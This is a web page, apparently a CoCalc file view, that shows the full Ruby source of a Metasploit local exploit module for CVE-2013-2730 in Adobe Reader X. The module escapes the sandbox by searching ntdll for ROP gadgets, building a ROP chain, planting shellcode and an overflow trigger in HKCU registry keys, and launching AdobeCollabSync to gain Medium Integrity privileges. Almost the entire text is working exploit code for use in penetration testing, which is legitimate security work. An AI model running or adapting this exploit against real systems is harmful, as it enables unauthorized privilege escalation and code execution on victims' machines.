Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Post::Windows::Registry1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',18'Description' => %q{19This module exploits a vulnerability on Adobe Reader X Sandbox. The20vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe21process to write register values which can be used to trigger a buffer overflow on22the AdobeCollabSync component, allowing to achieve Medium Integrity Level23privileges from a Low Integrity AcroRd32.exe process. This module has been tested24successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.25},26'License' => MSF_LICENSE,27'Author' => [28'Felipe Andres Manzano', # Vulnerability discovery and PoC29'juan vazquez' # Metasploit module30],31'References' => [32[ 'CVE', '2013-2730' ],33[ 'OSVDB', '93355' ],34[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]35],36'Arch' => ARCH_X86,37'Platform' => 'win',38'SessionTypes' => ['meterpreter'],39'Payload' => {40'Space' => 12288,41'DisableNops' => true42},43'Targets' => [44[45'Adobe Reader X 10.1.4 / Windows 7 SP1',46{47'AdobeCollabSyncTrigger' => 0x18fa0,48'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"49}50],51],52'DefaultTarget' => 0,53'DisclosureDate' => '2013-05-14',54'Compat' => {55'Meterpreter' => {56'Commands' => %w[57stdapi_railgun_api58stdapi_railgun_memread59stdapi_sys_config_getenv60]61}62}63}64)65)6667self.needs_cleanup = true68end6970def on_new_session71print_status("Deleting Malicious Registry Keys...")72if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")73print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")74end75if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")76print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")77end78print_status("Cleanup finished")79end8081# Test the process integrity level by trying to create a directory on the TEMP folder82# Access should be granted with Medium Integrity Level83# Access should be denied with Low Integrity Level84# Usint this solution atm because I'm experiencing problems with railgun when trying85# use GetTokenInformation86def low_integrity_level?87tmp_dir = session.sys.config.getenv('TEMP')88cd(tmp_dir)89new_dir = "#{rand_text_alpha(5)}"90begin91session.shell_command_token("mkdir #{new_dir}")92rescue93return true94end9596if directory?(new_dir)97session.shell_command_token("rmdir #{new_dir}")98return false99else100return true101end102end103104def check_trigger105signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)106if signature == target['AdobeCollabSyncTriggerSignature']107return true108end109110return false111end112113def collect_addresses114# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe115@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']116vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")117118# find kernel32.dll119kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")120@addresses['kernel32.dll'] = kernel32["return"]121if @addresses['kernel32.dll'] == 0122fail_with(Failure::Unknown, "Unable to find kernel32.dll")123end124vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")125126# find kernel32.dll methods127virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")128@addresses['VirtualAlloc'] = virtual_alloc["return"]129if @addresses['VirtualAlloc'] == 0130fail_with(Failure::Unknown, "Unable to find VirtualAlloc")131end132vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")133134reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")135@addresses['RegGetValueA'] = reg_get_value["return"]136if @addresses['RegGetValueA'] == 0137fail_with(Failure::Unknown, "Unable to find RegGetValueA")138end139vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")140141# find ntdll.dll142ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")143@addresses['ntdll.dll'] = ntdll["return"]144if @addresses['ntdll.dll'] == 0145fail_with(Failure::Unknown, "Unable to find ntdll.dll")146end147vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")148end149150# Search a gadget identified by pattern on the process memory151def search_gadget(base, offset_start, offset_end, pattern)152mem = base + offset_start153length = offset_end - offset_start154mem_contents = session.railgun.memread(mem, length)155return mem_contents.index(pattern)156end157158# Search for gadgets on ntdll.dll159def search_gadgets160ntdll_text_base = 0x10000161search_length = 0xd6000162163@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")164if @gadgets['mov [edi], ecx # ret'].nil?165fail_with(Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")166end167@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']168@gadgets['mov [edi], ecx # ret'] += ntdll_text_base169vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")170171@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2172vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")173174@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")175if @gadgets['pop edi # ret'].nil?176fail_with(Failure::Unknown, "Unable to find gadget 'pop edi # ret'")177end178@gadgets['pop edi # ret'] += @addresses['ntdll.dll']179@gadgets['pop edi # ret'] += ntdll_text_base180vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")181182@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")183if @gadgets['pop ecx # ret'].nil?184fail_with(Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")185end186@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']187@gadgets['pop ecx # ret'] += ntdll_text_base188vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")189end190191def store(buf, data, address)192i = 0193while (i < data.length)194buf << [@gadgets['pop edi # ret']].pack("V")195buf << [address + i].pack("V") # edi196buf << [@gadgets['pop ecx # ret']].pack("V")197buf << data[i, 4].ljust(4, "\x00") # ecx198buf << [@gadgets['mov [edi], ecx # ret']].pack("V")199i = i + 4200end201return i202end203204def create_rop_chain205mem = 0x0c0c0c0c206207buf = [0x58000000 + 1].pack("V")208buf << [0x58000000 + 2].pack("V")209buf << [0].pack("V")210buf << [0x58000000 + 4].pack("V")211212buf << [0x58000000 + 5].pack("V")213buf << [0x58000000 + 6].pack("V")214buf << [0x58000000 + 7].pack("V")215buf << [@gadgets['ret']].pack("V")216buf << rand_text(8)217218# Allocate Memory To store the shellcode and the necessary data to read the219# shellcode stored in the registry220buf << [@addresses['VirtualAlloc']].pack("V")221buf << [@gadgets['ret']].pack("V")222buf << [mem].pack("V") # lpAddress223buf << [0x00010000].pack("V") # SIZE_T dwSize224buf << [0x00003000].pack("V") # DWORD flAllocationType225buf << [0x00000040].pack("V") # flProtect226227# Put in the allocated memory the necessary data in order to read the228# shellcode stored in the registry229# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions230reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"231reg_key_length = store(buf, reg_key, mem)232# 2) The reg entry: shellcode233value_key = "shellcode\x00"234store(buf, value_key, mem + reg_key_length)235# 3) The output buffer size: 0x3000236size_buffer = 0x3000237buf << [@gadgets['pop edi # ret']].pack("V")238buf << [mem + 0x50].pack("V") # edi239buf << [@gadgets['pop ecx # ret']].pack("V")240buf << [size_buffer].pack("V") # ecx241buf << [@gadgets['mov [edi], ecx # ret']].pack("V")242243# Copy the shellcode from the registry to the244# memory allocated with executable permissions and245# ret into there246buf << [@addresses['RegGetValueA']].pack("V")247buf << [mem + 0x1000].pack("V") # ret to shellcode248buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER249buf << [mem].pack("V") # lpSubKey250buf << [mem + 0x3c].pack("V") # lpValue251buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY252buf << [0].pack("V") # pdwType253buf << [mem + 0x1000].pack("V") # pvData254buf << [mem + 0x50].pack("V") # pcbData255end256257# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry258def store_data_registry(buf)259vprint_status("Creating the Registry Key to store the shellcode...")260261if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")262vprint_good("Registry Key created")263else264fail_with(Failure::Unknown, "Failed to create the Registry Key to store the shellcode")265end266267vprint_status("Storing the shellcode in the Registry...")268269if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")270vprint_good("Shellcode stored")271else272fail_with(Failure::Unknown, "Failed to store shellcode in the Registry")273end274275# Create the Malicious registry entry in order to exploit....276vprint_status("Creating the Registry Key to trigger the Overflow...")277if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")278vprint_good("Registry Key created")279else280fail_with(Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")281end282283vprint_status("Storing the trigger in the Registry...")284if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")285vprint_good("Trigger stored")286else287fail_with(Failure::Unknown, "Failed to store the trigger in the Registry")288end289end290291def trigger_overflow292vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")293# Create a thread in order to execute the necessary code to launch AdobeCollabSync294ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)295if ret['return'] < 1296print_error("Unable to CreateThread")297return298end299hthread = ret['return']300301vprint_status("Resuming the Thread...")302# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!303ret = client.railgun.kernel32.ResumeThread(hthread)304if ret['return'] < 1305fail_with(Failure::Unknown, "Unable to ResumeThread")306end307end308309def check310@addresses = {}311acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")312@addresses['AcroRd32.exe'] = acrord32["return"]313if @addresses['AcroRd32.exe'] == 0314return Msf::Exploit::CheckCode::Unknown315elsif check_trigger316return Msf::Exploit::CheckCode::Vulnerable317else318return Msf::Exploit::CheckCode::Detected319end320end321322def exploit323@addresses = {}324@gadgets = {}325326print_status("Verifying we're in the correct target process...")327acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")328@addresses['AcroRd32.exe'] = acrord32["return"]329if @addresses['AcroRd32.exe'] == 0330fail_with(Failure::NoTarget, "AcroRd32.exe process not found")331end332vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")333334print_status("Checking the AcroRd32.exe image...")335if not check_trigger336fail_with(Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")337end338339print_status("Checking the Process Integrity Level...")340if not low_integrity_level?341fail_with(Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")342end343344print_status("Collecting necessary addresses for exploit...")345collect_addresses346347print_status("Searching the gadgets needed to build the ROP chain...")348search_gadgets349print_good("Gadgets collected...")350351print_status("Building the ROP chain...")352buf = create_rop_chain353print_good("ROP chain ready...")354355print_status("Storing the shellcode and the trigger in the Registry...")356store_data_registry(buf)357358print_status("Executing AdobeCollabSync.exe...")359trigger_overflow360end361end362363364